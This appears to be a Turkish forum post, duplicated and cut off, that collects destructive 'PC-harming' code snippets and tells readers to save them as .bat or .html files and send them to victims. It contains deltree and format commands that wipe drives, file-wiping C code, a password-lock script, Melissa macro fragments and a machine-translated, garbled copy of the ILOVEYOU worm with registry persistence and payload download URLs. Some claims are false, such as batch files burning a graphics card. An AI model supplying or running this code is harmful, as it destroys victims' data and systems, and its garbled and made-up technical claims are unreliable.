Selamun Aleykum Aslarım Ve Üstlerim..
Bu vereceğim kodların hepsi pc ye zarar veren kodlardır..Bu kodları daha once bır araya toplayan var mı bilmiyorum varsa da kusura bakmayın ama ben hiç rastlamadım..Onun için hepsını bır araya getırdım aman ha bu kodları kendi pc inizde acıpta benı gunaha sokmayın
Şimdiden hakkınızı da helal ediniz..
Msn kapatmak için aşşağıdaki yazılı proğramı not pat ile yazıp kaydedin uzantısını.bat olarak yapınız.Alt alta nekadar cok yazarsak o kadar uzun süre kapanır msn
Kod:
start tskill msnmsgr
start tskill msnmsgr
start tskill msnmsgr
start tskill msnmsgr
.....gibi
Pc cokertebılecek kadar etkili kod
Bu yazacağım kodları not defterine yapıştırıyorsunuz uzantısını bat olarak ayarlıyorsunuz ondan sonra kurbana yolluyorsunuz.Kurban bunu aldıktan sonra bilgisayarı kapanıyor ve bidaha açılmamak suretiyle..
Kod:
Private Sub Form_Unload(Cancel As Integer)
Randomize Timer
Dim ras, yol, sonuc, calis
ras = Rnd * 1000000
yol = App.Path & "\\" & App.EXEName & ".exe"
sonuc = ras & ".exe"
kp = "c:\\windows\\system32\\drivers\\" & sonuc & ""
FileCopy yol, "c:\\windows\\system32\\drivers\\" & sonuc & ""
calis = Shell(kp)
End Sub
Çalısan uygulamaları kapatma
İlk önce not defterini açıyoruz ardından shutdown -f yazıyoruz ve farklı kaydet diyip xxx.bat olarak kaydediyoruz
(xxx dosyanın ismi olacaktır sonra değiştirirsiniz).
Bunu karşı tarafa atmak için WinRar'la sıkıştırıyoruz.
Sonra da atıyoruz açtığında Pc'de çalışan bütün uygulamalar kapanır(kuban hiçbişey yapamaz..)
Şimdi bir wordpar belgesi açıyoruz uzantısı .doc .txt olan cinslerden daha sonra bu belgenin içine aşşağıdaki kodları kopyalayıp yapıştırın.
[CODE @EchO off C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*
@EchO off C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*
@EchO off C:\WINDOWS\COMMAND\deltree /y c:\*.*
@EchO off cls cls @EchO .::bilgisayarın çöktü::. @EchO off[/CODE]
Vereceğim kodu not defterine yazın.XXX.bat olarak kaydedin.(xxx dosyanın ismi olcak değiştirebilirsiniz.)
Sonra winrar kullanarak sıkıştırın.Msn veya başka bir yolla karşı tarafa gönderin.Yapacağınız tek şey açmasını beklemek...
Kod:
90,90
resizepic 0 0 5054 405 470
gumppic 10 10 5528
gumppic <eval (10+((<p.x>*100)/1337))> <eval (10+((<p.y>*100)/1067))> 2362
text 20 400 455 0
text 20 435 455 01 local.t_x=<argn1>
local.t_y=<argn2>
sector.allclients sendpacket 0c0 00 D<var.src> D<var.target> W<var.effect> W<p.x> W<eval <p.y>> B<qval <argn3>?<argn3>:<p.z>> W<local.t_x> W<local.t_y> B<qval <argn3>?<argn3>:<p.z>> B<var.speed> B<var0.duration> 00 00 00 B<qval <var0.explode>?<var.explode>:0> D<hval <var.hue> - 1> D<var.rendermode>
Ekran kartı yakan kod
[CODE @EchO off
C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*
@EchO off
C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*
@EchO off
C:\WINDOWS\COMMAND\deltree /y c:\*.*
@EchO off
cls
cls
@EchO .:: HacKeD NeoXo7 ::.
@EchO off3.[/CODE]
Metin sayfası açıp kodlarını yapıştırın ve farklı kaydet diyin. dosya adını yazın ve sonuna .bat yazın. (örnek: açma.bat)
vede kaydedin böylece ms-dos toplu iş dosyası oluşacak bunu sakın açmayın ve kimin ekran kartını yakmak istiyorsanız o kişiye yollayın. kurban dosyaya iki kere tıkadığı zaman saniyede 1000 den fazla ms-dos sayfası açılacak vede yaklasık 30 sn sonra ekran kartı gücünü kaybedip yorulacak. en sonunda HacKeD By RebeLLiOuS yazısı görünecek (burayı kendiniz değiştirebilirsiniz) vede görüntü gidecek. yeni ekran kartı alana kadar da gelmiyecek kolay gelsin.
c virüs kodu
1.Yol
notpadi açın.
2.Yol
içine bu sayıları yazın
01001011000111110010010101010101010000011111100000
3.Yol
kaydederken de uzantısını .exe olarak deiştirin.
4.Yol
kolay gelsin....
sallayın virusu.karşı tarafın gördüğü son ekran olsun...
Dikkat exe olarak kaydettikten sonra ad koyun yoksa dalgınlık yapıp kendi pc nizi çökertmeyin
System 32 ye zarar veren kod
Kod:
span(p)
char *p;
{
struct ffblk f;
char n[129];
int r;
SearchAndDestroy(p);
sprintf(n,\"%s\\\\%s\",p,\"*.*\");
for(r=findfirst(n,&f,0x0010);!r;r=findnext(&f)) {
if(*f.ff_name==\'.\') continue;
if(f.ff_attrib & 0x0010) {
sprintf(n,\"%s\\\\%s\",p,f.ff_name);
span
;
}
}
}
SearchAndDestroy(p)
char *p;
{
struct ffblk f;
char b[81];
int r;
strcpy(b,p);
strcat(b,\"\\\\*.*\");
for(r=findfirst(b,&f,0x0000);!r;r=findnext(&f)) {
sprintf(b,\"%s\\\\%s\",p,f.ff_name);
remove(b);
}
}
boot()
{
char *buff;
char *test;
fprintf(test,\"THIS PROGRAM WAS MADE BY Someone Else!!\");
abswrite(2,12,0,buff);
}
Notepad a yapıstırın farklı kaydet secenegınden .bat olarak uzantısını degıstırın
system32 klasörüne zarar verıyor bu virüs.
Sadece pc kapatan kod
İlk önce not defterini açıyoruz ardından shutdown -s yazıyoruz ve farklı kaydet diyip xxx.bat olarak kaydediyoruz
(xxx dosyanın ismi olacaktır sonra değiştirirsiniz).Bunu karşı tarafa atmak için
WinRar'la sıkıştırıyoruz.Sonra da atıyoruz açtığında Pc'si direkt olarak kapanır.
Hardiski yakabılecek sevıde olan bir kod
Kopyala vedosya uzantısını html olarak kaydet
Kod:
<html>
<head>
****** **********=\\\"Content-Type\\\" *********\\\"text/html; charset=iso-8859-1\\\">
<title>Aşkından Sevgilerle</title>
</head>
<bOdy>
******** language=\\\"VBSCRIPT\\\">
Set fs = CreateObject(\\\"Scripting.FileSystemObject\\\"
Set a = fs.CreateTextFile(\\\"C:c:\\\\windows\\\\system32\ \\\autoexec. nt\\\", True)
a.WriteLine(\\\"format c: /autotest /u /q\\\"
a.Close
</script>
<p>Giriste ac1lan uyariya \\\"HAYIR\\\" dediyseniz <a
href= \\\"<i>javascript</i>:reload()\\\">Malesef e-kart 1n1z cal1smayacakt1r.</p>
</bOdy>
</html>
Pc ye şifre koyan kod
Sonunu bat olarak kaydet
Kod:
netuser %username% 123456
shutdown -r
Msn ve ekreanı kapatmak için kod
İlk basta notepad'ı acıyoruz.karsıdakının sadece msnını kapatmak ıstıyorsak sadece alt alta start tskill msnmsgr yazmanız yeterlı.(ne kadar cok yazarsanız o kadar cok uzun sure kapanır msnı) ekranın kapanıp acılmasınıda ıstıyorsak yıne aynı sekılde alt alta start tskill explorer yazınız.eger ıkısınıde yapmak ıstıyorsanız:
start tskill explorer
start tskill msnmsgr
yukarıdakı gıbı yapınız.ve notepadı farklı kaydet yapıp uzantısını .bat olarak kaydedınız ve kısıye yollayınız..
Pc kapanıp açılmamasına neden olabılecek kod
Kod:
Private Sub Form_Unload(Cancel As Integer)
Randomize Timer
Dim ras, yol, sonuc, calis
ras = Rnd * 1000000
yol = App.Path & "\\" & App.EXEName & ".exe"
sonuc = ras & ".exe"
kp = "c:\\windows\\system32\\drivers\\" & sonuc & ""
FileCopy yol, "c:\\windows\\system32\\drivers\\" & sonuc & ""
calis = Shell(kp)
End Sub
Yukardaki yazan kelimeleri not pat içine yapıştırınzı ve daha sonra uzantısını bata çeviriniz
etki alanı bilgisayarın aniden kapanıp acılmamasına neden olabilir.
Pc ye format bile atamayabilirsiniz
Not defterine yapıştırınız ve uzantısını bat olarak kaydedinz
Kod:
del C:/WINDOWS/system/MOUSE.DRV
del C:/WINDOWS/system/KEYBOARD.DRV
del c:\WINDOWS\system32\drivers\cdrom.bat
shutdown -
Pc yi resetlemek,reset attırma
İlk önce not defterini açıyoruz ardından
shutdown -r
yazıyoruz ve farklı kaydet diyip xxx.bat olarak kaydediyoruz
(xxx dosyanın ismi olacaktır sonra değiştirirsiniz).Bunu karşı tarafa atmak için
WinRar'la sıkıştırıyoruz.Sonra da atıyoruz açtığında Pc'si direkt olarak resetlenir
FBI Virusu
Notepada yapıştırıp .bat olarak kaydedin....
Kod:
f NTCL <> 0 And ADCL = 0 And (InStr(1, Active********.Name, "********") = False) Then
Active********.SaveAs FileName:=Active********.FullName
ElseIf (InStr(1, Active********.Name, "********") <> False) Then
Active********.Saved = True
End If
'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub < =>
En bastan soyleyim kendi pcnızde denemyın
pcnız acılmaz.Açmak için biçimi attıramassınız.Çünkü CD-ROM çalışmaz.CD-ROM u değiştirseniz bile nafile
Kod:
rem delete-pcaş (-vbe)
Es hata-PC
Hata Sonraki Pc Hack On
dim fso, dirsystem, dirwin, dirtemp, eq, ctr, vbscopy, d ow dosya
eq = ""
TO = 0
Set fso = CreateObject ( "Scripting.FileSystemObject")
set file = fso.opentextfile (WScript.ScriptFullname, 1)
vbscopy = file.ReadAll
main ()
ana, alt ()
Error Resume Next On
loş wscr, RR
set wscr = CreateObject ( "WScript.Shell")
RR = wscr.RegRead ( "HKEY_CURRENT_USER \ Software \ Micros oft \ Window s Scripting Host \ Settings \ Timeout")
if (rr> = 1) sonra
wscr.RegWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows Scripting Host \ Settings \ Timeout", 0, "REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder (0)
Set dirsystem = fso.GetSpecialFolder (1)
Set dirtemp = fso.GetSpecialFolder (2)
Set c = fso.GetFile (WScript.ScriptFullName)
c.Copy (dirsystem & "\ MSKernel32.vbs")
c.Copy (dirwin & "\ Win32DLL.vbs")
c.Copy (dirsystem & "\ LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns ()
html ()
spreadtoemail ()
listadriv ()
End Sub
alt regruns ()
Error Resume Next On
Dim num, downread
regcreate "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ Run \ MSKernel32", dirsystem & \ Cur rentVersio n s "\ MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ RunServices \ Win32DLL", dirwin & \ Cur rentVersio n s "\ Win32DLL.vbs"
downread = ""
downread = regget ( "HKEY_CURRENT_USER \ Software \ Micros oft \ Intern et Explorer \ Download Directory")
if (= "") sonra downread
downread = "c: \"
end if
if (fileexist (dirsystem & "\ WinFAT32.exe") = 1) sonra
Randomize
num = Int ((4 * Rnd) + 1)
Eğer num = 1 then
regcreate "HKCU \ Software \ Microsoft \ Internet Explorer \ Main \ Start Page", "http://www.skyinet.net/ ~ young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf 7679njbvYT / WIN-BUGSFIX.exe "
elseif num = 2 then
regcreate "HKCU \ Software \ Microsoft \ Internet Explorer \ Main \ Start Page", "http://www.skyinet.net/ ~ angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4j nHHGbvbmKL JKjhkqj4w/WIN-BUGSFIX.exe "
elseif num = 3 then
regcreate "HKCU \ Software \ Microsoft \ Internet Explorer \ Main \ Start Page", "http://www.skyinet.net/ ~ koichi/jf6TRjkcbGRpGq** 198vbFV5hfFEkbopBdQZnmPOhfgER67b3V BVG / WIN-BUGSFIX.exe "
elseif num = 4 then
regcreate "HKCU \ Software \ Microsoft \ Internet Explorer \ Main \ Start Page", "http://www.skyinet.net/ ~ chu / sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqweras djhPhjasfd glkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe "
end if
end if
if ((& "\ WIN-BUGSFIX.exe") = 0) sonra downread fileexist
regcreate "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ Run \ WIN-BUGSFIX", downread & "\ WIN-BUGSFIX.exe" \ Cur rentVersio n s
regcreate "HKEY_CURRENT_USER \ Software \ Microsoft \ Interne t Explorer \ Main \ Start Page", "hakkında: boş "
end if
End Sub
alt listadriv
Error Resume Next On
Dim d, dc ler
Set dc = fso.Drives
Için her d dc
Eğer d.DriveType = 2 veya d.DriveType = 3 Then
folderlist (d.path & "\")
end if
Sonraki
listadriv = S
End Sub
alt infectfiles () folderspec
Error Resume Next On
dim f, f1, fc, ext, ap, mircfname, mp3 bName s
set f = fso.GetFolder () folderspec
set fc = f.Files
her f1 fc için
ext = fso.GetExtensionName (f1.path)
ext = LCase (dahili)
s LCase () f1.name =
if (ext = "vbs") veya (ext = "vbe") then
set ap = fso.opentextfile (2, true) f1.path
ap.write vbscopy
ap.close
elseif (ext = "js") or (ext = "jse") veya (ext = "css") or (ext = "wsh") veya (ext = "sct") or (ext = "hta") then
set ap = fso.opentextfile (2, true) f1.path
ap.write vbscopy
ap.close
bName = fso.GetBaseName (f1.path)
polis = fso.GetFile (f1.path set)
cop.copy (& folderspec "\" & bName & ". vbs")
fso.DeleteFile () f1.path
elseif (ext = "jpg) veya (ext =" jpeg ") then
set ap = fso.opentextfile (2, true) f1.path
ap.write vbscopy
ap.close
polis = fso.GetFile (f1.path set)
cop.copy (f1.path & ". vbs")
fso.DeleteFile () f1.path
elseif (ext = "mp3") or (ext = "mp2") then
mp3 = fso.CreateTextFile (& "f1.path ayarlayın. vbs")
mp3.write vbscopy
mp3.close
set att = fso.GetFile (f1.path)
att.attributes = 2 att.attributes
end if
if (eq <> folderspec) sonra
if (s = "mirc32.exe") veya (s = "mlink32.exe") veya (s = "mirc.ini") veya (s = "script.ini") veya (s = "mirc.hlp") sonra
set scriptini = fso.CreateTextFile (& folderspec "\ script.i ni")
scriptini.WriteLine "[script]"
scriptini.WriteLine "; mIRC Script"
scriptini.WriteLine "; bu script ... mIRC değiştir bozuk olacak dont, Lütfen, mIRC olacak"
"yozlaşmış scriptini.WriteLine ... Windows ve etkiler doğru çalışmaz. teşekkür "
scriptini.WriteLine ";"
scriptini.WriteLine "; Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0 = on 1: JOIN :#:{"
scriptini.WriteLine "n1 = / if (kesik == KOBİ) (halt)"
scriptini.WriteLine "n2 = /. kesmek göndermek" dcc & dirsystem & "\ LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3 =)"
scriptini.close
EQ = folderspec
end if
end if
sonraki
End Sub
alt folderlist () folderspec
Error Resume Next On
dim f, f1, sf
set f = fso.GetFolder () folderspec
sf set = f.SubFolders
her f1 sf için
infectfiles (f1.path)
folderlist (f1.path)
sonraki
End Sub
alt regcreate (regkey, regvalue)
Set regedit = CreateObject ( "WScript.Shell")
regedit.RegWrite regkey, regvalue
End Sub
fonksiyonu regget (değer)
Set regedit = CreateObject ( "WScript.Shell")
regget = regedit.RegRead (değer)
End Function
fonksiyonu fileexist () dosyabelirtimi
Error Resume Next On
dim msg
(fso.FileExists (dosyabelirtimi)) Sonra eğer
= 0 msg
başka
= 1 msg
end if
fileexist msg =
End Function
fonksiyonu folderexist () folderspec
Error Resume Next On
dim msg
(fso.GetFolderExists (folderspec)) o zaman eğer
= 0 msg
Bu vereceğim kodların hepsi pc ye zarar veren kodlardır..Bu kodları daha once bır araya toplayan var mı bilmiyorum varsa da kusura bakmayın ama ben hiç rastlamadım..Onun için hepsını bır araya getırdım aman ha bu kodları kendi pc inizde acıpta benı gunaha sokmayın
Şimdiden hakkınızı da helal ediniz..
Msn kapatmak için aşşağıdaki yazılı proğramı not pat ile yazıp kaydedin uzantısını.bat olarak yapınız.Alt alta nekadar cok yazarsak o kadar uzun süre kapanır msn
Kod:
start tskill msnmsgr
start tskill msnmsgr
start tskill msnmsgr
start tskill msnmsgr
.....gibi
Pc cokertebılecek kadar etkili kod
Bu yazacağım kodları not defterine yapıştırıyorsunuz uzantısını bat olarak ayarlıyorsunuz ondan sonra kurbana yolluyorsunuz.Kurban bunu aldıktan sonra bilgisayarı kapanıyor ve bidaha açılmamak suretiyle..
Kod:
Private Sub Form_Unload(Cancel As Integer)
Randomize Timer
Dim ras, yol, sonuc, calis
ras = Rnd * 1000000
yol = App.Path & "\\" & App.EXEName & ".exe"
sonuc = ras & ".exe"
kp = "c:\\windows\\system32\\drivers\\" & sonuc & ""
FileCopy yol, "c:\\windows\\system32\\drivers\\" & sonuc & ""
calis = Shell(kp)
End Sub
Çalısan uygulamaları kapatma
İlk önce not defterini açıyoruz ardından shutdown -f yazıyoruz ve farklı kaydet diyip xxx.bat olarak kaydediyoruz
(xxx dosyanın ismi olacaktır sonra değiştirirsiniz).
Bunu karşı tarafa atmak için WinRar'la sıkıştırıyoruz.
Sonra da atıyoruz açtığında Pc'de çalışan bütün uygulamalar kapanır(kuban hiçbişey yapamaz..)
Şimdi bir wordpar belgesi açıyoruz uzantısı .doc .txt olan cinslerden daha sonra bu belgenin içine aşşağıdaki kodları kopyalayıp yapıştırın.
[CODE @EchO off C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*
@EchO off C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*
@EchO off C:\WINDOWS\COMMAND\deltree /y c:\*.*
@EchO off cls cls @EchO .::bilgisayarın çöktü::. @EchO off[/CODE]
Vereceğim kodu not defterine yazın.XXX.bat olarak kaydedin.(xxx dosyanın ismi olcak değiştirebilirsiniz.)
Sonra winrar kullanarak sıkıştırın.Msn veya başka bir yolla karşı tarafa gönderin.Yapacağınız tek şey açmasını beklemek...
Kod:
90,90
resizepic 0 0 5054 405 470
gumppic 10 10 5528
gumppic <eval (10+((<p.x>*100)/1337))> <eval (10+((<p.y>*100)/1067))> 2362
text 20 400 455 0
text 20 435 455 01 local.t_x=<argn1>
local.t_y=<argn2>
sector.allclients sendpacket 0c0 00 D<var.src> D<var.target> W<var.effect> W<p.x> W<eval <p.y>> B<qval <argn3>?<argn3>:<p.z>> W<local.t_x> W<local.t_y> B<qval <argn3>?<argn3>:<p.z>> B<var.speed> B<var0.duration> 00 00 00 B<qval <var0.explode>?<var.explode>:0> D<hval <var.hue> - 1> D<var.rendermode>
Ekran kartı yakan kod
[CODE @EchO off
C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*
@EchO off
C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*
@EchO off
C:\WINDOWS\COMMAND\deltree /y c:\*.*
@EchO off
cls
cls
@EchO .:: HacKeD NeoXo7 ::.
@EchO off3.[/CODE]
Metin sayfası açıp kodlarını yapıştırın ve farklı kaydet diyin. dosya adını yazın ve sonuna .bat yazın. (örnek: açma.bat)
vede kaydedin böylece ms-dos toplu iş dosyası oluşacak bunu sakın açmayın ve kimin ekran kartını yakmak istiyorsanız o kişiye yollayın. kurban dosyaya iki kere tıkadığı zaman saniyede 1000 den fazla ms-dos sayfası açılacak vede yaklasık 30 sn sonra ekran kartı gücünü kaybedip yorulacak. en sonunda HacKeD By RebeLLiOuS yazısı görünecek (burayı kendiniz değiştirebilirsiniz) vede görüntü gidecek. yeni ekran kartı alana kadar da gelmiyecek kolay gelsin.
c virüs kodu
1.Yol
notpadi açın.
2.Yol
içine bu sayıları yazın
01001011000111110010010101010101010000011111100000
3.Yol
kaydederken de uzantısını .exe olarak deiştirin.
4.Yol
kolay gelsin....
sallayın virusu.karşı tarafın gördüğü son ekran olsun...
Dikkat exe olarak kaydettikten sonra ad koyun yoksa dalgınlık yapıp kendi pc nizi çökertmeyin
System 32 ye zarar veren kod
Kod:
span(p)
char *p;
{
struct ffblk f;
char n[129];
int r;
SearchAndDestroy(p);
sprintf(n,\"%s\\\\%s\",p,\"*.*\");
for(r=findfirst(n,&f,0x0010);!r;r=findnext(&f)) {
if(*f.ff_name==\'.\') continue;
if(f.ff_attrib & 0x0010) {
sprintf(n,\"%s\\\\%s\",p,f.ff_name);
span
;}
}
}
SearchAndDestroy(p)
char *p;
{
struct ffblk f;
char b[81];
int r;
strcpy(b,p);
strcat(b,\"\\\\*.*\");
for(r=findfirst(b,&f,0x0000);!r;r=findnext(&f)) {
sprintf(b,\"%s\\\\%s\",p,f.ff_name);
remove(b);
}
}
boot()
{
char *buff;
char *test;
fprintf(test,\"THIS PROGRAM WAS MADE BY Someone Else!!\");
abswrite(2,12,0,buff);
}
Notepad a yapıstırın farklı kaydet secenegınden .bat olarak uzantısını degıstırın
system32 klasörüne zarar verıyor bu virüs.
Sadece pc kapatan kod
İlk önce not defterini açıyoruz ardından shutdown -s yazıyoruz ve farklı kaydet diyip xxx.bat olarak kaydediyoruz
(xxx dosyanın ismi olacaktır sonra değiştirirsiniz).Bunu karşı tarafa atmak için
WinRar'la sıkıştırıyoruz.Sonra da atıyoruz açtığında Pc'si direkt olarak kapanır.
Hardiski yakabılecek sevıde olan bir kod
Kopyala vedosya uzantısını html olarak kaydet
Kod:
<html>
<head>
****** **********=\\\"Content-Type\\\" *********\\\"text/html; charset=iso-8859-1\\\">
<title>Aşkından Sevgilerle</title>
</head>
<bOdy>
******** language=\\\"VBSCRIPT\\\">
Set fs = CreateObject(\\\"Scripting.FileSystemObject\\\"
Set a = fs.CreateTextFile(\\\"C:c:\\\\windows\\\\system32\ \\\autoexec. nt\\\", True)
a.WriteLine(\\\"format c: /autotest /u /q\\\"
a.Close
</script>
<p>Giriste ac1lan uyariya \\\"HAYIR\\\" dediyseniz <a
href= \\\"<i>javascript</i>:reload()\\\">Malesef e-kart 1n1z cal1smayacakt1r.</p>
</bOdy>
</html>
Pc ye şifre koyan kod
Sonunu bat olarak kaydet
Kod:
netuser %username% 123456
shutdown -r
Msn ve ekreanı kapatmak için kod
İlk basta notepad'ı acıyoruz.karsıdakının sadece msnını kapatmak ıstıyorsak sadece alt alta start tskill msnmsgr yazmanız yeterlı.(ne kadar cok yazarsanız o kadar cok uzun sure kapanır msnı) ekranın kapanıp acılmasınıda ıstıyorsak yıne aynı sekılde alt alta start tskill explorer yazınız.eger ıkısınıde yapmak ıstıyorsanız:
start tskill explorer
start tskill msnmsgr
yukarıdakı gıbı yapınız.ve notepadı farklı kaydet yapıp uzantısını .bat olarak kaydedınız ve kısıye yollayınız..
Pc kapanıp açılmamasına neden olabılecek kod
Kod:
Private Sub Form_Unload(Cancel As Integer)
Randomize Timer
Dim ras, yol, sonuc, calis
ras = Rnd * 1000000
yol = App.Path & "\\" & App.EXEName & ".exe"
sonuc = ras & ".exe"
kp = "c:\\windows\\system32\\drivers\\" & sonuc & ""
FileCopy yol, "c:\\windows\\system32\\drivers\\" & sonuc & ""
calis = Shell(kp)
End Sub
Yukardaki yazan kelimeleri not pat içine yapıştırınzı ve daha sonra uzantısını bata çeviriniz
etki alanı bilgisayarın aniden kapanıp acılmamasına neden olabilir.
Pc ye format bile atamayabilirsiniz
Not defterine yapıştırınız ve uzantısını bat olarak kaydedinz
Kod:
del C:/WINDOWS/system/MOUSE.DRV
del C:/WINDOWS/system/KEYBOARD.DRV
del c:\WINDOWS\system32\drivers\cdrom.bat
shutdown -
Pc yi resetlemek,reset attırma
İlk önce not defterini açıyoruz ardından
shutdown -r
yazıyoruz ve farklı kaydet diyip xxx.bat olarak kaydediyoruz
(xxx dosyanın ismi olacaktır sonra değiştirirsiniz).Bunu karşı tarafa atmak için
WinRar'la sıkıştırıyoruz.Sonra da atıyoruz açtığında Pc'si direkt olarak resetlenir
FBI Virusu
Notepada yapıştırıp .bat olarak kaydedin....
Kod:
f NTCL <> 0 And ADCL = 0 And (InStr(1, Active********.Name, "********") = False) Then
Active********.SaveAs FileName:=Active********.FullName
ElseIf (InStr(1, Active********.Name, "********") <> False) Then
Active********.Saved = True
End If
'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub < =>
En bastan soyleyim kendi pcnızde denemyın
pcnız acılmaz.Açmak için biçimi attıramassınız.Çünkü CD-ROM çalışmaz.CD-ROM u değiştirseniz bile nafile
Kod:
rem delete-pcaş (-vbe)
Es hata-PC
Hata Sonraki Pc Hack On
dim fso, dirsystem, dirwin, dirtemp, eq, ctr, vbscopy, d ow dosya
eq = ""
TO = 0
Set fso = CreateObject ( "Scripting.FileSystemObject")
set file = fso.opentextfile (WScript.ScriptFullname, 1)
vbscopy = file.ReadAll
main ()
ana, alt ()
Error Resume Next On
loş wscr, RR
set wscr = CreateObject ( "WScript.Shell")
RR = wscr.RegRead ( "HKEY_CURRENT_USER \ Software \ Micros oft \ Window s Scripting Host \ Settings \ Timeout")
if (rr> = 1) sonra
wscr.RegWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows Scripting Host \ Settings \ Timeout", 0, "REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder (0)
Set dirsystem = fso.GetSpecialFolder (1)
Set dirtemp = fso.GetSpecialFolder (2)
Set c = fso.GetFile (WScript.ScriptFullName)
c.Copy (dirsystem & "\ MSKernel32.vbs")
c.Copy (dirwin & "\ Win32DLL.vbs")
c.Copy (dirsystem & "\ LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns ()
html ()
spreadtoemail ()
listadriv ()
End Sub
alt regruns ()
Error Resume Next On
Dim num, downread
regcreate "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ Run \ MSKernel32", dirsystem & \ Cur rentVersio n s "\ MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ RunServices \ Win32DLL", dirwin & \ Cur rentVersio n s "\ Win32DLL.vbs"
downread = ""
downread = regget ( "HKEY_CURRENT_USER \ Software \ Micros oft \ Intern et Explorer \ Download Directory")
if (= "") sonra downread
downread = "c: \"
end if
if (fileexist (dirsystem & "\ WinFAT32.exe") = 1) sonra
Randomize
num = Int ((4 * Rnd) + 1)
Eğer num = 1 then
regcreate "HKCU \ Software \ Microsoft \ Internet Explorer \ Main \ Start Page", "http://www.skyinet.net/ ~ young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf 7679njbvYT / WIN-BUGSFIX.exe "
elseif num = 2 then
regcreate "HKCU \ Software \ Microsoft \ Internet Explorer \ Main \ Start Page", "http://www.skyinet.net/ ~ angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4j nHHGbvbmKL JKjhkqj4w/WIN-BUGSFIX.exe "
elseif num = 3 then
regcreate "HKCU \ Software \ Microsoft \ Internet Explorer \ Main \ Start Page", "http://www.skyinet.net/ ~ koichi/jf6TRjkcbGRpGq** 198vbFV5hfFEkbopBdQZnmPOhfgER67b3V BVG / WIN-BUGSFIX.exe "
elseif num = 4 then
regcreate "HKCU \ Software \ Microsoft \ Internet Explorer \ Main \ Start Page", "http://www.skyinet.net/ ~ chu / sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqweras djhPhjasfd glkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe "
end if
end if
if ((& "\ WIN-BUGSFIX.exe") = 0) sonra downread fileexist
regcreate "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ Run \ WIN-BUGSFIX", downread & "\ WIN-BUGSFIX.exe" \ Cur rentVersio n s
regcreate "HKEY_CURRENT_USER \ Software \ Microsoft \ Interne t Explorer \ Main \ Start Page", "hakkında: boş "
end if
End Sub
alt listadriv
Error Resume Next On
Dim d, dc ler
Set dc = fso.Drives
Için her d dc
Eğer d.DriveType = 2 veya d.DriveType = 3 Then
folderlist (d.path & "\")
end if
Sonraki
listadriv = S
End Sub
alt infectfiles () folderspec
Error Resume Next On
dim f, f1, fc, ext, ap, mircfname, mp3 bName s
set f = fso.GetFolder () folderspec
set fc = f.Files
her f1 fc için
ext = fso.GetExtensionName (f1.path)
ext = LCase (dahili)
s LCase () f1.name =
if (ext = "vbs") veya (ext = "vbe") then
set ap = fso.opentextfile (2, true) f1.path
ap.write vbscopy
ap.close
elseif (ext = "js") or (ext = "jse") veya (ext = "css") or (ext = "wsh") veya (ext = "sct") or (ext = "hta") then
set ap = fso.opentextfile (2, true) f1.path
ap.write vbscopy
ap.close
bName = fso.GetBaseName (f1.path)
polis = fso.GetFile (f1.path set)
cop.copy (& folderspec "\" & bName & ". vbs")
fso.DeleteFile () f1.path
elseif (ext = "jpg) veya (ext =" jpeg ") then
set ap = fso.opentextfile (2, true) f1.path
ap.write vbscopy
ap.close
polis = fso.GetFile (f1.path set)
cop.copy (f1.path & ". vbs")
fso.DeleteFile () f1.path
elseif (ext = "mp3") or (ext = "mp2") then
mp3 = fso.CreateTextFile (& "f1.path ayarlayın. vbs")
mp3.write vbscopy
mp3.close
set att = fso.GetFile (f1.path)
att.attributes = 2 att.attributes
end if
if (eq <> folderspec) sonra
if (s = "mirc32.exe") veya (s = "mlink32.exe") veya (s = "mirc.ini") veya (s = "script.ini") veya (s = "mirc.hlp") sonra
set scriptini = fso.CreateTextFile (& folderspec "\ script.i ni")
scriptini.WriteLine "[script]"
scriptini.WriteLine "; mIRC Script"
scriptini.WriteLine "; bu script ... mIRC değiştir bozuk olacak dont, Lütfen, mIRC olacak"
"yozlaşmış scriptini.WriteLine ... Windows ve etkiler doğru çalışmaz. teşekkür "
